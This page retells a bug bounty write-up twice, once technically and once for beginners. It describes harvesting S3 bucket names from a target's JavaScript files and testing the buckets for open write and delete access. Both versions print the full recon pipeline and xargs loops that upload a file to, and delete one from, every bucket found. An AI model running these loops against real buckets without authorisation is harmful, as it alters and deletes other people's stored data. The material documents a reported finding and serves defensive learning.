How I was able Find mass leaked AWS s3 bucket from js File
The author found AWS S3 bucket URLs in JavaScript files and discovered that some buckets allowed write and delete operations. An attacker could upload or delete files in those buckets.
Published on notifybugme.medium.com
My name is Santosh Kumar Sha, I’m a security researcher from India(Assam). In this article, I will be describing How I was able Find mass leaked AWS S3 bucket from js File.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a recon write-up about finding AWS S3 buckets that are referenced inside JavaScript files, and then testing those buckets for write and delete permissions. The target is anonymised as example.com, with everything under *.example.com assumed to be in scope. There is no specific product or feature described: the object of study is the JavaScript that the target's subdomains serve, and the S3 bucket names that leak inside it.
A JavaScript file is a normal part of a web application, but it often carries configuration that the front end needs at runtime: API hosts, storage locations, bucket names. When a bucket name ends up in a publicly served script, anyone who reads the script learns the bucket's name, and the only thing left between that name and the bucket's contents is the bucket's own access policy.
Setup
The researcher lists four tools:
- Subfinder (https://github.com/projectdiscovery/subfinder)
- httpx (https://github.com/projectdiscovery/httpx)
- gau (Corben), https://github.com/lc/gau
- waybackurls (tomnomnom), https://github.com/tomnomnom/waybackurls
The workflow also relies on subjs, curl, grep, sed, xargs, sort and the AWS CLI. No versions are given. The precondition is simply that the target's JavaScript files are publicly reachable and that at least one of them contains an S3 URL.
Finding it
The reasoning is that JavaScript files are a large source of information, and reading them one by one by hand does not scale. The researcher's approach is to collect every JavaScript URL belonging to the in-scope subdomains from public archives, then grep the fetched contents for S3 hostnames instead of reading them.
The concern about missing files is stated explicitly: because archive-based collection can miss JavaScript files, the researcher combines several sources (subfinder, waybackurls and gau) to avoid missing any.
Exploitation
Step 1: collect JavaScript URLs
The individual collection commands are:
subfinder -d example.com silent | httpx |subjs
gau -subs example.com | grep '.js$'
waybackurls example.com | grep '.js$'
subfinder enumerates subdomains, httpx probes which of them are live, and subjs extracts script URLs from the live hosts. gau and waybackurls pull known URLs from archives, and grep '.js$' keeps only those ending in .js.
To avoid missing anything, the three sources are combined and written to separate files:
gau -subs example.com | grep '.js$' >> vul1.txt
waybackurls example.com | grep '.js$' >> vul2.txt
subfinder -d example.com -silent | | httpx |subjs>> vul3.txt
The second command in this block contains a doubled pipe (| |) as published; as written it would not run, and the intent is the same subfinder, httpx and subjs pipeline as above.
Step 2: deduplicate the list
cat vul1.txt vul2.txt vul3.txt | sort -u >> unique_sub.txt
All three files are concatenated and sort -u removes duplicates, leaving one list of unique JavaScript URLs.
Step 3: grep each script for S3 URLs
Each JavaScript file is fetched with curl and searched for S3 hostname patterns. The four patterns used are:
cat vul3.txt | xargs -I% bash -c 'curl -sk "%" | grep -w "*.s3.amazonaws.com"' >> s3_bucket.txt
cat vul3.txt | xargs -I% bash -c 'curl -sk "%" | grep -w "*.s3.us-east-2.amazonaws.com"' >> s3_bucket.txt
cat vul3.txt | xargs -I% bash -c 'curl -sk "%" | grep -w "s3.amazonaws.com/*"' >> s3_bucket.txt
cat vul3.txt | xargs -I% bash -c 'curl -sk "%" | grep -w "s3.us-east-2.amazonaws.com/*"' >> s3_bucket.txt
xargs -I% substitutes each URL into the curl call, -sk silences errors and ignores TLS certificate problems, and grep -w matches the whole pattern. The results are appended to s3_bucket.txt. Note that the commands read vul3.txt, not the deduplicated unique_sub.txt.
Step 4: reduce the URLs to bucket names
cat s3_bucket.txt | sed 's/s3.amazonaws.com//' >> bucket_name.txt
cat s3_bucket.txt | sed 's/s3.us-east-2.amazonaws.com//' >> bucket_name.txt
sed strips the S3 hostname suffix from each line, leaving the bucket name, which is saved to bucket_name.txt. The researcher notes that the same cleanup can be done manually.
Step 5: test each bucket for write and delete
With the bucket names collected, the AWS CLI is used to attempt an upload and a delete against every bucket in the list:
cat bucket_name.txt |xargs -I% sh -c 'aws s3 cp test.txt s3://% 2>&1 | grep "upload" && echo " AWS s3 bucket takeover by cli %"'
cat bucket_name.txt |xargs -I% sh -c 'aws s3 rm test.txt s3://%/test.txt 2>&1 | grep "delete" && echo " AWS s3 bucket takeover by cli %"'
The first command tries to copy a local test.txt into each bucket; the second tries to remove test.txt from the path /test.txt in each bucket. In both, stderr is merged into stdout (2>&1) and piped through grep for the words upload or delete, so a matching line means the operation succeeded, and the echo prints the bucket name as a hit.
Result
The researcher reports finding 6 more AWS S3 buckets with write and delete permission. The bug was reported quickly and, according to the write-up, was triaged as critical the next day.

The image appears right after the sentence about the report being triaged as critical, introduced as the researcher's reaction.
Root cause
Likely, the bucket names were embedded in client-side JavaScript that is served publicly, so the names were never secret. The buckets themselves were configured to allow unauthenticated writes and deletes, which is what let the AWS CLI copy and remove objects without any credentials being supplied in the commands. The write-up does not describe the bucket policy or ACL that produced this behaviour, so the exact misconfiguration is not shown.
Impact
The demonstrated impact is that an unauthenticated party could upload a file to the affected buckets and delete a file from them. The echo string in the commands labels a hit as bucket takeover. What an attacker could do beyond that depends on how each bucket is used by the application, which the write-up does not analyse. The finding is limited to the buckets whose names appeared in the collected JavaScript files and whose permissions allowed the copy and delete to succeed.
Fix
The write-up does not say what remediation was applied. The implied fix is to correct the bucket permissions so that anonymous users cannot write to or delete from the buckets, and to stop exposing bucket names in publicly served JavaScript where they are not needed.
Variants to test
- Run the same grep patterns against JavaScript collected from other archive sources, not only gau and waybackurls. A positive result is a new S3 hostname in the output that was not in the earlier list.
- Add grep patterns for other S3 URL forms, such as path-style and virtual-hosted URLs on other regional endpoints. A positive result is a bucket name that the four patterns above would have missed.
- Apply the same fetch-and-grep loop to other file types that carry configuration, such as JSON and source maps. A positive result is a storage hostname appearing in a file that is not a
.jsscript. - Run the AWS CLI copy and delete checks against every bucket name collected, not only the ones from a single file. A positive result is the
uploadordeleteline followed by the bucket name.

The closing image carries the researcher's buy-me-a-coffee link as its caption.
What happened, in plain words
A security researcher was looking at a website (called example.com in the write-up, so the real name stays private) and wanted to know whether any of its files accidentally revealed the names of storage locations in the cloud. Those storage locations are called AWS S3 buckets. Think of a bucket as a public locker in a warehouse: if you know the locker's name and the locker has no lock, you can put things in it or take things out.
The researcher did not guess the locker names. Instead, he read the website's JavaScript files, which are the small programs a website sends to your browser to make pages interactive. Those files sometimes contain the names of the storage lockers the site uses. Once he had a list of locker names, he used a command-line tool from Amazon (the AWS CLI) to try to drop a test file into each locker and then delete it. If the locker accepted the file without asking for a password, that meant anyone on the internet could do the same.
He found 6 buckets that accepted both the upload and the delete. He reported them, and the report was marked as critical the next day.
This article walks through the same steps for someone who has never used a terminal before. You do not need to run anything to follow along; the goal is to understand what each command is doing and why.
The tools he used
Before the commands, the researcher lists four tools. All of them are free and run in a terminal (a text window where you type commands instead of clicking).
- Subfinder (https://github.com/projectdiscovery/subfinder): finds subdomains. A subdomain is a smaller site under the main one, like
shop.example.comunderexample.com. - httpx (https://github.com/projectdiscovery/httpx): checks which of those subdomains are actually online and answering.
- gau (Corben), https://github.com/lc/gau: asks public web archives (services that keep old copies of web pages) for every URL they have ever seen for a domain.
- waybackurls (tomnomnom), https://github.com/tomnomnom/waybackurls: does something very similar, pulling old URLs from the Wayback Machine archive.
The workflow also uses subjs (a small tool that pulls script URLs out of a page), curl (a tool for downloading a web page or file from the terminal), grep (a tool that searches text for a pattern), sed (a tool that edits text), xargs (a tool that runs a command once for each line of a list), sort (a tool that sorts and removes duplicates) and the AWS CLI (Amazon's command-line tool for talking to S3).
The only precondition is that the target's JavaScript files can be downloaded by anyone, and that at least one of them contains an S3 web address.
Why JavaScript files matter
A JavaScript file is a normal part of a website. When you open a page, your browser downloads these files and runs them so buttons work, menus open and forms submit. But these files often also carry configuration: the addresses of the servers the page talks to, the names of storage locations, and other settings the page needs at runtime.
If a bucket name ends up in a publicly served script, anyone who reads the script learns the bucket's name. The only thing left between that name and the bucket's contents is the bucket's own access policy, which is the set of rules saying who is allowed to read, write or delete inside it.
Finding it
The reasoning is simple: JavaScript files are a huge source of information, and reading them one by one by hand does not scale. A large site can have thousands of scripts. The researcher's approach is to collect every JavaScript address belonging to the in-scope subdomains from public archives, then search the downloaded contents for S3 addresses instead of reading them.
He also states a concern explicitly: archive-based collection can miss JavaScript files. To avoid missing any, he combines several sources (subfinder, waybackurls and gau).
Exploitation
Step 1: collect JavaScript URLs
The individual collection commands are:
subfinder -d example.com silent | httpx |subjs
This line runs three tools in a chain. subfinder -d example.com asks subfinder to list every subdomain it can find for example.com. The silent word tells it to print only the subdomains, without banners or extra noise. The vertical bar | is a pipe: it takes the output of the tool on the left and feeds it as input to the tool on the right. So httpx receives the list of subdomains and checks which ones are live. Then subjs receives the live hosts and extracts the script addresses from each one.
gau -subs example.com | grep '.js$'
gau -subs example.com asks gau for every URL it knows for example.com and its subdomains. The result is piped into grep '.js$', which keeps only lines ending in .js. The $ in a grep pattern means "end of line", so this filters out everything that is not a JavaScript file.
waybackurls example.com | grep '.js$'
Same idea, but the source is waybackurls instead of gau. It pulls old URLs from the Wayback Machine and keeps only the .js ones.
To avoid missing anything, the three sources are combined and written to separate files:
gau -subs example.com | grep '.js$' >> vul1.txt
This runs the gau pipeline and appends the result to a file called vul1.txt. The >> means "append to this file" (as opposed to >, which would overwrite it).
waybackurls example.com | grep '.js$' >> vul2.txt
Same for waybackurls, saved to vul2.txt.
subfinder -d example.com -silent | | httpx |subjs>> vul3.txt
This is the subfinder pipeline again, saved to vul3.txt. Note that the command as published contains a doubled pipe (| |). As written it would not run; the intent is the same subfinder, httpx and subjs pipeline as above.
Step 2: deduplicate the list
cat vul1.txt vul2.txt vul3.txt | sort -u >> unique_sub.txt
cat prints the contents of the three files one after another. The combined text is piped into sort -u, which sorts the lines and removes duplicates (-u stands for unique). The result is appended to unique_sub.txt, leaving one clean list of unique JavaScript addresses.
Step 3: grep each script for S3 URLs
Now each JavaScript file is downloaded with curl and searched for S3 address patterns. There are four patterns, because S3 addresses can appear in more than one form:
cat vul3.txt | xargs -I% bash -c 'curl -sk "%" | grep -w "*.s3.amazonaws.com"' >> s3_bucket.txt
cat vul3.txt prints the list of JavaScript addresses. xargs -I% takes each line and substitutes it wherever % appears in the command that follows, so the command runs once per address. bash -c '...' runs the quoted text as a shell command. Inside, curl -sk "%" downloads the file at that address: -s silences progress output, -k ignores certificate errors. The downloaded text is piped into grep -w "*.s3.amazonaws.com", which looks for that pattern as a whole word. Any matching lines are appended to s3_bucket.txt.
cat vul3.txt | xargs -I% bash -c 'curl -sk "%" | grep -w "*.s3.us-east-2.amazonaws.com"' >> s3_bucket.txt
Same loop, but looking for S3 addresses in the us-east-2 region. Amazon runs S3 in many regions, and each region has its own address format.
cat vul3.txt | xargs -I% bash -c 'curl -sk "%" | grep -w "s3.amazonaws.com/*"' >> s3_bucket.txt
Same loop, but looking for the path-style form, where the bucket name comes after the hostname instead of before it.
cat vul3.txt | xargs -I% bash -c 'curl -sk "%" | grep -w "s3.us-east-2.amazonaws.com/*"' >> s3_bucket.txt
Same loop, path-style form in the us-east-2 region.
One detail worth noting: these commands read vul3.txt, not the deduplicated unique_sub.txt. So the search runs only over the scripts found by the subfinder pipeline, not the archive ones.
Step 4: reduce the URLs to bucket names
cat s3_bucket.txt | sed 's/s3.amazonaws.com//' >> bucket_name.txt
sed is a text editor for the command line. The expression s/s3.amazonaws.com// means "substitute the text s3.amazonaws.com with nothing", in other words delete it. So each line loses the S3 hostname suffix and what remains is the bucket name. The result is appended to bucket_name.txt.
cat s3_bucket.txt | sed 's/s3.us-east-2.amazonaws.com//' >> bucket_name.txt
Same cleanup for the us-east-2 form. The researcher notes that the same cleanup can be done manually.
Step 5: test each bucket for write and delete
With the bucket names collected, the AWS CLI is used to attempt an upload and a delete against every bucket in the list:
cat bucket_name.txt |xargs -I% sh -c 'aws s3 cp test.txt s3://% 2>&1 | grep "upload" && echo " AWS s3 bucket takeover by cli %"'
cat bucket_name.txt prints the bucket names. xargs -I% substitutes each name into the command where % appears. sh -c '...' runs the quoted text as a shell command. Inside, aws s3 cp test.txt s3://% asks the AWS CLI to copy a local file called test.txt into the bucket named %. The 2>&1 merges error messages into normal output so both can be searched together. The combined output is piped into grep "upload", which keeps only lines containing the word upload. If a line matches, the && means "and then" run the echo, which prints the bucket name as a hit.
cat bucket_name.txt |xargs -I% sh -c 'aws s3 rm test.txt s3://%/test.txt 2>&1 | grep "delete" && echo " AWS s3 bucket takeover by cli %"'
Same loop, but this time aws s3 rm tries to remove test.txt from the path /test.txt in the bucket. The output is searched for the word delete, and a match prints the bucket name.
Result
The researcher reports finding 6 more AWS S3 buckets with write and delete permission. The bug was reported quickly and, according to the write-up, was triaged as critical the next day.

The image appears right after the sentence about the report being triaged as critical, introduced as the researcher's reaction.
Root cause
Likely, the bucket names were embedded in client-side JavaScript that is served publicly, so the names were never secret. The buckets themselves were configured to allow unauthenticated writes and deletes, which is what let the AWS CLI copy and remove objects without any credentials being supplied in the commands. The write-up does not describe the bucket policy or ACL that produced this behaviour, so the exact misconfiguration is not shown.
Impact
The demonstrated impact is that an unauthenticated party could upload a file to the affected buckets and delete a file from them. The echo string in the commands labels a hit as bucket takeover. What an attacker could do beyond that depends on how each bucket is used by the application, which the write-up does not analyse. The finding is limited to the buckets whose names appeared in the collected JavaScript files and whose permissions allowed the copy and delete to succeed.
Fix
The write-up does not say what remediation was applied. The implied fix is to correct the bucket permissions so that anonymous users cannot write to or delete from the buckets, and to stop exposing bucket names in publicly served JavaScript where they are not needed.
Variants to test
- Run the same grep patterns against JavaScript collected from other archive sources, not only gau and waybackurls. A positive result is a new S3 hostname in the output that was not in the earlier list.
- Add grep patterns for other S3 URL forms, such as path-style and virtual-hosted URLs on other regional endpoints. A positive result is a bucket name that the four patterns above would have missed.
- Apply the same fetch-and-grep loop to other file types that carry configuration, such as JSON and source maps. A positive result is a storage hostname appearing in a file that is not a
.jsscript. - Run the AWS CLI copy and delete checks against every bucket name collected, not only the ones from a single file. A positive result is the
uploadordeleteline followed by the bucket name.

The closing image carries the researcher's buy-me-a-coffee link as its caption.
Glossary
- AWS S3 bucket: a storage space in Amazon's cloud, like a folder in a warehouse, that can hold files.
- JavaScript file: a small program a website sends to your browser to make pages interactive.
- Subdomain: a smaller site under a main one, like
shop.example.comunderexample.com. - Terminal: a text window where you type commands instead of clicking.
- Pipe (
|): a way to feed the output of one command into another. - grep: a tool that searches text for a pattern.
- sed: a tool that edits text on the command line.
- xargs: a tool that runs a command once for each line of a list.
- curl: a tool for downloading a web page or file from the terminal.
- AWS CLI: Amazon's command-line tool for talking to S3 and other services.
- Access policy: the set of rules saying who is allowed to read, write or delete inside a bucket.
- Bucket takeover: when someone else gains the ability to control what is in a bucket because its permissions are too open.
- Unauthenticated: without logging in or supplying any credentials.
- ACL: an access control list, a list of who is allowed to do what.
- Region: a geographic area where Amazon runs its services, each with its own address format.
- Path-style URL: an S3 address where the bucket name comes after the hostname instead of before it.
- Virtual-hosted URL: an S3 address where the bucket name comes before the hostname.
- Source map: a file that helps developers debug minified JavaScript.
- Triage: the step where a security team reviews a report and decides how serious it is.
- Critical: the highest severity level in most bug bounty programmes.